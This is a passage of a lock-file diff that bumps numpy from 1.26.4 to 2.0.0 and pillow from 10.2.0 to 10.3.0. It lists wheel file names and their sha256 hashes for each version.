"sha256:ab47dbe5cc8210f55aa58e4805fe224dac469cde56b9f731a4c098b91917159a"}, - {file = "numpy-1.26.4-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:1dda2e7b4ec9dd512f84935c5f126c8bd8b9f2fc001e9f54af255e8c5f16b0e0"}, - {file = "numpy-1.26.4-cp312-cp312-win32.whl", hash = "sha256:50193e430acfc1346175fcbdaa28ffec49947a06918b7b92130744e81e640110"}, - {file = "numpy-1.26.4-cp312-cp312-win_amd64.whl", hash = "sha256:08beddf13648eb95f8d867350f6a018a4be2e5ad54c8d8caed89ebca558b2818"}, - {file = "numpy-1.26.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:7349ab0fa0c429c82442a27a9673fc802ffdb7c7775fad780226cb234965e53c"}, - {file = "numpy-1.26.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:52b8b60467cd7dd1e9ed082188b4e6bb35aa5cdd01777621a1658910745b90be"}, - {file = "numpy-1.26.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d5241e0a80d808d70546c697135da2c613f30e28251ff8307eb72ba696945764"}, - {file = "numpy-1.26.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f870204a840a60da0b12273ef34f7051e98c3b5961b61b0c2c1be6dfd64fbcd3"}, - {file = "numpy-1.26.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:679b0076f67ecc0138fd2ede3a8fd196dddc2ad3254069bcb9faf9a79b1cebcd"}, - {file = "numpy-1.26.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:47711010ad8555514b434df65f7d7b076bb8261df1ca9bb78f53d3b2db02e95c"}, - {file = "numpy-1.26.4-cp39-cp39-win32.whl", hash = "sha256:a354325ee03388678242a4d7ebcd08b5c727033fcff3b2f536aea978e15ee9e6"}, - {file = "numpy-1.26.4-cp39-cp39-win_amd64.whl", hash = "sha256:3373d5d70a5fe74a2c1bb6d2cfd9609ecf686d47a2d7b1d37a8f3b6bf6003aea"}, - {file = "numpy-1.26.4-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:afedb719a9dcfc7eaf2287b839d8198e06dcd4cb5d276a3df279231138e83d30"}, - {file = "numpy-1.26.4-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:95a7476c59002f2f6c590b9b7b998306fba6a5aa646b1e22ddfeaf8f78c3a29c"}, - {file = "numpy-1.26.4-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7e50d0a0cc3189f9cb0aeb3a6a6af18c16f59f004b866cd2be1c14b36134a4a0"}, - {file = "numpy-1.26.4.tar.gz", hash = "sha256:2a02aba9ed12e4ac4eb3ea9421c420301a0c6460d9830d74a9df87efa4912010"}, + {file = "numpy-2.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:04494f6ec467ccb5369d1808570ae55f6ed9b5809d7f035059000a37b8d7e86f"}, + {file = "numpy-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:2635dbd200c2d6faf2ef9a0d04f0ecc6b13b3cad54f7c67c61155138835515d2"}, + {file = "numpy-2.0.0-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:0a43f0974d501842866cc83471bdb0116ba0dffdbaac33ec05e6afed5b615238"}, + {file = "numpy-2.0.0-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:8d83bb187fb647643bd56e1ae43f273c7f4dbcdf94550d7938cfc32566756514"}, + {file = "numpy-2.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:79e843d186c8fb1b102bef3e2bc35ef81160ffef3194646a7fdd6a73c6b97196"}, + {file = "numpy-2.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6d7696c615765091cc5093f76fd1fa069870304beaccfd58b5dcc69e55ef49c1"}, + {file = "numpy-2.0.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b4c76e3d4c56f145d41b7b6751255feefae92edbc9a61e1758a98204200f30fc"}, + {file = "numpy-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:acd3a644e4807e73b4e1867b769fbf1ce8c5d80e7caaef0d90dcdc640dfc9787"}, + {file = "numpy-2.0.0-cp310-cp310-win32.whl", hash = "sha256:cee6cc0584f71adefe2c908856ccc98702baf95ff80092e4ca46061538a2ba98"}, + {file = "numpy-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:ed08d2703b5972ec736451b818c2eb9da80d66c3e84aed1deeb0c345fefe461b"}, + {file = "numpy-2.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ad0c86f3455fbd0de6c31a3056eb822fc939f81b1618f10ff3406971893b62a5"}, + {file = "numpy-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e7f387600d424f91576af20518334df3d97bc76a300a755f9a8d6e4f5cadd289"}, + {file = "numpy-2.0.0-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:34f003cb88b1ba38cb9a9a4a3161c1604973d7f9d5552c38bc2f04f829536609"}, + {file = "numpy-2.0.0-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:b6f6a8f45d0313db07d6d1d37bd0b112f887e1369758a5419c0370ba915b3871"}, + {file = "numpy-2.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5f64641b42b2429f56ee08b4f427a4d2daf916ec59686061de751a55aafa22e4"}, + {file = "numpy-2.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a7039a136017eaa92c1848152827e1424701532ca8e8967fe480fe1569dae581"}, + {file = "numpy-2.0.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:46e161722e0f619749d1cd892167039015b2c2817296104487cd03ed4a955995"}, + {file = "numpy-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:0e50842b2295ba8414c8c1d9d957083d5dfe9e16828b37de883f51fc53c4016f"}, + {file = "numpy-2.0.0-cp311-cp311-win32.whl", hash = "sha256:2ce46fd0b8a0c947ae047d222f7136fc4d55538741373107574271bc00e20e8f"}, + {file = "numpy-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:fbd6acc766814ea6443628f4e6751d0da6593dae29c08c0b2606164db026970c"}, + {file = "numpy-2.0.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:354f373279768fa5a584bac997de6a6c9bc535c482592d7a813bb0c09be6c76f"}, + {file = "numpy-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:4d2f62e55a4cd9c58c1d9a1c9edaedcd857a73cb6fda875bf79093f9d9086f85"}, + {file = "numpy-2.0.0-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:1e72728e7501a450288fc8e1f9ebc73d90cfd4671ebbd631f3e7857c39bd16f2"}, + {file = "numpy-2.0.0-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:84554fc53daa8f6abf8e8a66e076aff6ece62de68523d9f665f32d2fc50fd66e"}, + {file = "numpy-2.0.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c73aafd1afca80afecb22718f8700b40ac7cab927b8abab3c3e337d70e10e5a2"}, + {file = "numpy-2.0.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:49d9f7d256fbc804391a7f72d4a617302b1afac1112fac19b6c6cec63fe7fe8a"}, + {file = "numpy-2.0.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:0ec84b9ba0654f3b962802edc91424331f423dcf5d5f926676e0150789cb3d95"}, + {file = "numpy-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:feff59f27338135776f6d4e2ec7aeeac5d5f7a08a83e80869121ef8164b74af9"}, + {file = "numpy-2.0.0-cp312-cp312-win32.whl", hash = "sha256:c5a59996dc61835133b56a32ebe4ef3740ea5bc19b3983ac60cc32be5a665d54"}, + {file = "numpy-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:a356364941fb0593bb899a1076b92dfa2029f6f5b8ba88a14fd0984aaf76d0df"}, + {file = "numpy-2.0.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:e61155fae27570692ad1d327e81c6cf27d535a5d7ef97648a17d922224b216de"}, + {file = "numpy-2.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4554eb96f0fd263041baf16cf0881b3f5dafae7a59b1049acb9540c4d57bc8cb"}, + {file = "numpy-2.0.0-cp39-cp39-macosx_14_0_arm64.whl", hash = "sha256:903703372d46bce88b6920a0cd86c3ad82dae2dbef157b5fc01b70ea1cfc430f"}, + {file = "numpy-2.0.0-cp39-cp39-macosx_14_0_x86_64.whl", hash = "sha256:3e8e01233d57639b2e30966c63d36fcea099d17c53bf424d77f088b0f4babd86"}, + {file = "numpy-2.0.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1cde1753efe513705a0c6d28f5884e22bdc30438bf0085c5c486cdaff40cd67a"}, + {file = "numpy-2.0.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:821eedb7165ead9eebdb569986968b541f9908979c2da8a4967ecac4439bae3d"}, + {file = "numpy-2.0.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9a1712c015831da583b21c5bfe15e8684137097969c6d22e8316ba66b5baabe4"}, + {file = "numpy-2.0.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:9c27f0946a3536403efb0e1c28def1ae6730a72cd0d5878db38824855e3afc44"}, + {file = "numpy-2.0.0-cp39-cp39-win32.whl", hash = "sha256:63b92c512d9dbcc37f9d81b123dec99fdb318ba38c8059afc78086fe73820275"}, + {file = "numpy-2.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:3f6bed7f840d44c08ebdb73b1825282b801799e325bcbdfa6bc5c370e5aecc65"}, + {file = "numpy-2.0.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:9416a5c2e92ace094e9f0082c5fd473502c91651fb896bc17690d6fc475128d6"}, + {file = "numpy-2.0.0-pp39-pypy39_pp73-macosx_14_0_x86_64.whl", hash = "sha256:17067d097ed036636fa79f6a869ac26df7db1ba22039d962422506640314933a"}, + {file = "numpy-2.0.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:38ecb5b0582cd125f67a629072fed6f83562d9dd04d7e03256c9829bdec027ad"}, + {file = "numpy-2.0.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:cef04d068f5fb0518a77857953193b6bb94809a806bd0a14983a8f12ada060c9"}, + {file = "numpy-2.0.0.tar.gz", hash = "sha256:cf5d1c9e6837f8af9f92b6bd3e86d513cdc11f60fd62185cc49ec7d1aba34864"}, ] [[package]] @@ -1498,79 +1507,80 @@ files = [ [[package]] name = "pillow" -version = "10.2.0" +version = "10.3.0" description = "Python Imaging Library (Fork)" optional = false python-versions = ">=3.8" files = [ - {file = "pillow-10.2.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:7823bdd049099efa16e4246bdf15e5a13dbb18a51b68fa06d6c1d4d8b99a796e"}, - {file = "pillow-10.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:83b2021f2ade7d1ed556bc50a399127d7fb245e725aa0113ebd05cfe88aaf588"}, - {file = "pillow-10.2.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6fad5ff2f13d69b7e74ce5b4ecd12cc0ec530fcee76356cac6742785ff71c452"}, - {file = "pillow-10.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:da2b52b37dad6d9ec64e653637a096905b258d2fc2b984c41ae7d08b938a67e4"}, - {file = "pillow-10.2.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:47c0995fc4e7f79b5cfcab1fc437ff2890b770440f7696a3ba065ee0fd496563"}, - {file = "pillow-10.2.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:322bdf3c9b556e9ffb18f93462e5f749d3444ce081290352c6070d014c93feb2"}, - {file = "pillow-10.2.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:51f1a1bffc50e2e9492e87d8e09a17c5eea8409cda8d3f277eb6edc82813c17c"}, - {file = "pillow-10.2.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:69ffdd6120a4737710a9eee73e1d2e37db89b620f702754b8f6e62594471dee0"}, - {file = "pillow-10.2.0-cp310-cp310-win32.whl", hash = "sha256:c6dafac9e0f2b3c78df97e79af707cdc5ef8e88208d686a4847bab8266870023"}, - {file = "pillow-10.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:aebb6044806f2e16ecc07b2a2637ee1ef67a11840a66752751714a0d924adf72"}, - {file = "pillow-10.2.0-cp310-cp310-win_arm64.whl", hash = "sha256:7049e301399273a0136ff39b84c3678e314f2158f50f517bc50285fb5ec847ad"}, - {file = "pillow-10.2.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:35bb52c37f256f662abdfa49d2dfa6ce5d93281d323a9af377a120e89a9eafb5"}, - {file = "pillow-10.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9c23f307202661071d94b5e384e1e1dc7dfb972a28a2310e4ee16103e66ddb67"}, - {file = "pillow-10.2.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:773efe0603db30c281521a7c0214cad7836c03b8ccff897beae9b47c0b657d61"}, - {file = "pillow-10.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:11fa2e5984b949b0dd6d7a94d967743d87c577ff0b83392f17cb3990d0d2fd6e"}, - {file = "pillow-10.2.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:716d30ed977be8b37d3ef185fecb9e5a1d62d110dfbdcd1e2a122ab46fddb03f"}, - {file = "pillow-10.2.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:a086c2af425c5f62a65e12fbf385f7c9fcb8f107d0849dba5839461a129cf311"}, - {file = "pillow-10.2.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:c8de2789052ed501dd829e9cae8d3dcce7acb4777ea4a479c14521c942d395b1"}, - {file = "pillow-10.2.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:609448742444d9290fd687940ac0b57fb35e6fd92bdb65386e08e99af60bf757"}, - {file = "pillow-10.2.0-cp311-cp311-win32.whl", hash = "sha256:823ef7a27cf86df6597fa0671066c1b596f69eba53efa3d1e1cb8b30f3533068"}, - {file = "pillow-10.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:1da3b2703afd040cf65ec97efea81cfba59cdbed9c11d8efc5ab09df9509fc56"}, - {file = "pillow-10.2.0-cp311-cp311-win_arm64.whl", hash = "sha256:edca80cbfb2b68d7b56930b84a0e45ae1694aeba0541f798e908a49d66b837f1"}, - {file = "pillow-10.2.0-cp312-cp312-macosx_10_10_x86_64.whl", hash = "sha256:1b5e1b74d1bd1b78bc3477528919414874748dd363e6272efd5abf7654e68bef"}, - {file = "pillow-10.2.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0eae2073305f451d8ecacb5474997c08569fb4eb4ac231ffa4ad7d342fdc25ac"}, - {file = "pillow-10.2.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b7c2286c23cd350b80d2fc9d424fc797575fb16f854b831d16fd47ceec078f2c"}, - {file = "pillow-10.2.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1e23412b5c41e58cec602f1135c57dfcf15482013ce6e5f093a86db69646a5aa"}, - {file = "pillow-10.2.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:52a50aa3fb3acb9cf7213573ef55d31d6eca37f5709c69e6858fe3bc04a5c2a2"}, - {file = "pillow-10.2.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:127cee571038f252a552760076407f9cff79761c3d436a12af6000cd182a9d04"}, - {file = "pillow-10.2.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:8d12251f02d69d8310b046e82572ed486685c38f02176bd08baf216746eb947f"}, - {file = "pillow-10.2.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:54f1852cd531aa981bc0965b7d609f5f6cc8ce8c41b1139f6ed6b3c54ab82bfb"}, - {file = "pillow-10.2.0-cp312-cp312-win32.whl", hash = "sha256:257d8788df5ca62c980314053197f4d46eefedf4e6175bc9412f14412ec4ea2f"}, - {file = "pillow-10.2.0-cp312-cp312-win_amd64.whl", hash = "sha256:154e939c5f0053a383de4fd3d3da48d9427a7e985f58af8e94d0b3c9fcfcf4f9"}, - {file = "pillow-10.2.0-cp312-cp312-win_arm64.whl", hash = "sha256:f379abd2f1e3dddb2b61bc67977a6b5a0a3f7485538bcc6f39ec76163891ee48"}, - {file = "pillow-10.2.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:8373c6c251f7ef8bda6675dd6d2b3a0fcc31edf1201266b5cf608b62a37407f9"}, - {file = "pillow-10.2.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:870ea1ada0899fd0b79643990809323b389d4d1d46c192f97342eeb6ee0b8483"}, - {file = "pillow-10.2.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b4b6b1e20608493548b1f32bce8cca185bf0480983890403d3b8753e44077129"}, - {file = "pillow-10.2.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3031709084b6e7852d00479fd1d310b07d0ba82765f973b543c8af5061cf990e"}, - {file = "pillow-10.2.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:3ff074fc97dd4e80543a3e91f69d58889baf2002b6be64347ea8cf5533188213"}, - {file = "pillow-10.2.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:cb4c38abeef13c61d6916f264d4845fab99d7b711be96c326b84df9e3e0ff62d"}, - {file = "pillow-10.2.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b1b3020d90c2d8e1dae29cf3ce54f8094f7938460fb5ce8bc5c01450b01fbaf6"}, - {file = "pillow-10.2.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:170aeb00224ab3dc54230c797f8404507240dd868cf52066f66a41b33169bdbe"}, - {file = "pillow-10.2.0-cp38-cp38-win32.whl", hash = "sha256:c4225f5220f46b2fde568c74fca27ae9771536c2e29d7c04f4fb62c83275ac4e"}, - {file = "pillow-10.2.0-cp38-cp38-win_amd64.whl", hash = "sha256:0689b5a8c5288bc0504d9fcee48f61a6a586b9b98514d7d29b840143d6734f39"}, - {file = "pillow-10.2.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:b792a349405fbc0163190fde0dc7b3fef3c9268292586cf5645598b48e63dc67"}, - {file = "pillow-10.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:c570f24be1e468e3f0ce7ef56a89a60f0e05b30a3669a459e419c6eac2c35364"}, - {file = "pillow-10.2.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8ecd059fdaf60c1963c58ceb8997b32e9dc1b911f5da5307aab614f1ce5c2fb"}, - {file = "pillow-10.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c365fd1703040de1ec284b176d6af5abe21b427cb3a5ff68e0759e1e313a5e7e"}, - {file = "pillow-10.2.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:70c61d4c475835a19b3a5aa42492409878bbca7438554a1f89d20d58a7c75c01"}, - {file = "pillow-10.2.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:b6f491cdf80ae540738859d9766783e3b3c8e5bd37f5dfa0b76abdecc5081f13"}, - {file = "pillow-10.2.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:9d189550615b4948f45252d7f005e53c2040cea1af5b60d6f79491a6e147eef7"}, - {file = "pillow-10.2.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:49d9ba1ed0ef3e061088cd1e7538a0759aab559e2e0a80a36f9fd9d8c0c21591"}, - {file = "pillow-10.2.0-cp39-cp39-win32.whl", hash = "sha256:babf5acfede515f176833ed6028754cbcd0d206f7f614ea3447d67c33be12516"}, - {file = "pillow-10.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:0304004f8067386b477d20a518b50f3fa658a28d44e4116970abfcd94fac34a8"}, - {file = "pillow-10.2.0-cp39-cp39-win_arm64.whl", hash = "sha256:0fb3e7fc88a14eacd303e90481ad983fd5b69c761e9e6ef94c983f91025da869"}, - {file = "pillow-10.2.0-pp310-pypy310_pp73-macosx_10_10_x86_64.whl", hash = "sha256:322209c642aabdd6207517e9739c704dc9f9db943015535783239022002f054a"}, - {file = "pillow-10.2.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3eedd52442c0a5ff4f887fab0c1c0bb164d8635b32c894bc1faf4c618dd89df2"}, - {file = "pillow-10.2.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cb28c753fd5eb3dd859b4ee95de66cc62af91bcff5db5f2571d32a520baf1f04"}, - {file = "pillow-10.2.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:33870dc4653c5017bf4c8873e5488d8f8d5f8935e2f1fb9a2208c47cdd66efd2"}, - {file = "pillow-10.2.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:3c31822339516fb3c82d03f30e22b1d038da87ef27b6a78c9549888f8ceda39a"}, - {file = "pillow-10.2.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:a2b56ba36e05f973d450582fb015594aaa78834fefe8dfb8fcd79b93e64ba4c6"}, - {file = "pillow-10.2.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:d8e6aeb9201e655354b3ad049cb77d19813ad4ece0df1249d3c793de3774f8c7"}, - {file = "pillow-10.2.0-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:2247178effb34a77c11c0e8ac355c7a741ceca0a732b27bf11e747bbc950722f"}, - {file = "pillow-10.2.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:15587643b9e5eb26c48e49a7b33659790d28f190fc514a322d55da2fb5c2950e"}, - {file = "pillow-10.2.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:753cd8f2086b2b80180d9b3010dd4ed147efc167c90d3bf593fe2af21265e5a5"}, - {file = "pillow-10.2.0-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:7c8f97e8e7a9009bcacbe3766a36175056c12f9a44e6e6f2d5caad06dcfbf03b"}, - {file = "pillow-10.2.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:d1b35bcd6c5543b9cb547dee3150c93008f8dd0f1fef78fc0cd2b141c5baf58a"}, - {file = "pillow-10.2.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:fe4c15f6c9285dc54ce6553a3ce908ed37c8f3825b5a51a15c91442bb955b868"}, - {file = "pillow-10.2.0.tar.gz", hash = "sha256:e87f0b2c78157e12d7686b27d63c070fd65d994e8ddae6f328e0dcf4a0cd007e"}, + {file = "pillow-10.3.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:90b9e29824800e90c84e4022dd5cc16eb2d9605ee13f05d47641eb183cd73d45"}, + {file = "pillow-10.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a2c405445c79c3f5a124573a051062300936b0281fee57637e706453e452746c"}, + {file = "pillow-10.3.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:78618cdbccaa74d3f88d0ad6cb8ac3007f1a6fa5c6f19af64b55ca170bfa1edf"}, + {file = "pillow-10.3.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:261ddb7ca91fcf71757979534fb4c128448b5b4c55cb6152d280312062f69599"}, + {file = "pillow-10.3.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:ce49c67f4ea0609933d01c0731b34b8695a7a748d6c8d186f95e7d085d2fe475"}, + {file = "pillow-10.3.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:b14f16f94cbc61215115b9b1236f9c18403c15dd3c52cf629072afa9d54c1cbf"}, + {file = "pillow-10.3.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d33891be6df59d93df4d846640f0e46f1a807339f09e79a8040bc887bdcd7ed3"}, + {file = "pillow-10.3.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b50811d664d392f02f7761621303eba9d1b056fb1868c8cdf4231279645c25f5"}, + {file = "pillow-10.3.0-cp310-cp310-win32.whl", hash = "sha256:ca2870d5d10d8726a27396d3ca4cf7976cec0f3cb706debe88e3a5bd4610f7d2"}, + {file = "pillow-10.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:f0d0591a0aeaefdaf9a5e545e7485f89910c977087e7de2b6c388aec32011e9f"}, + {file = "pillow-10.3.0-cp310-cp310-win_arm64.whl", hash = "sha256:ccce24b7ad89adb5a1e34a6ba96ac2530046763912806ad4c247356a8f33a67b"}, + {file = "pillow-10.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:5f77cf66e96ae734717d341c145c5949c63180842a545c47a0ce7ae52ca83795"}, + {file = "pillow-10.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e4b878386c4bf293578b48fc570b84ecfe477d3b77ba39a6e87150af77f40c57"}, + {file = "pillow-10.3.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fdcbb4068117dfd9ce0138d068ac512843c52295ed996ae6dd1faf537b6dbc27"}, + {file = "pillow-10.3.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9797a6c8fe16f25749b371c02e2ade0efb51155e767a971c61734b1bf6293994"}, + {file = "pillow-10.3.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:9e91179a242bbc99be65e139e30690e081fe6cb91a8e77faf4c409653de39451"}, + {file = "pillow-10.3.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:1b87bd9d81d179bd8ab871603bd80d8645729939f90b71e62914e816a76fc6bd"}, + {file = "pillow-10.3.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:81d09caa7b27ef4e61cb7d8fbf1714f5aec1c6b6c5270ee53504981e6e9121ad"}, + {file = "pillow-10.3.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:048ad577748b9fa4a99a0548c64f2cb8d672d5bf2e643a739ac8faff1164238c"}, + {file = "pillow-10.3.0-cp311-cp311-win32.whl", hash = "sha256:7161ec49ef0800947dc5570f86568a7bb36fa97dd09e9827dc02b718c5643f09"}, + {file = "pillow-10.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:8eb0908e954d093b02a543dc963984d6e99ad2b5e36503d8a0aaf040505f747d"}, + {file = "pillow-10.3.0-cp311-cp311-win_arm64.whl", hash = "sha256:4e6f7d1c414191c1199f8996d3f2282b9ebea0945693fb67392c75a3a320941f"}, + {file = "pillow-10.3.0-cp312-cp312-macosx_10_10_x86_64.whl", hash = "sha256:e46f38133e5a060d46bd630faa4d9fa0202377495df1f068a8299fd78c84de84"}, + {file = "pillow-10.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:50b8eae8f7334ec826d6eeffaeeb00e36b5e24aa0b9df322c247539714c6df19"}, + {file = "pillow-10.3.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9d3bea1c75f8c53ee4d505c3e67d8c158ad4df0d83170605b50b64025917f338"}, + {file = "pillow-10.3.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:19aeb96d43902f0a783946a0a87dbdad5c84c936025b8419da0a0cd7724356b1"}, + {file = "pillow-10.3.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:74d28c17412d9caa1066f7a31df8403ec23d5268ba46cd0ad2c50fb82ae40462"}, + {file = "pillow-10.3.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:ff61bfd9253c3915e6d41c651d5f962da23eda633cf02262990094a18a55371a"}, + {file = "pillow-10.3.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:d886f5d353333b4771d21267c7ecc75b710f1a73d72d03ca06df49b09015a9ef"}, + {file = "pillow-10.3.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4b5ec25d8b17217d635f8935dbc1b9aa5907962fae29dff220f2659487891cd3"}, + {file = "pillow-10.3.0-cp312-cp312-win32.whl", hash = "sha256:51243f1ed5161b9945011a7360e997729776f6e5d7005ba0c6879267d4c5139d"}, + {file = "pillow-10.3.0-cp312-cp312-win_amd64.whl", hash = 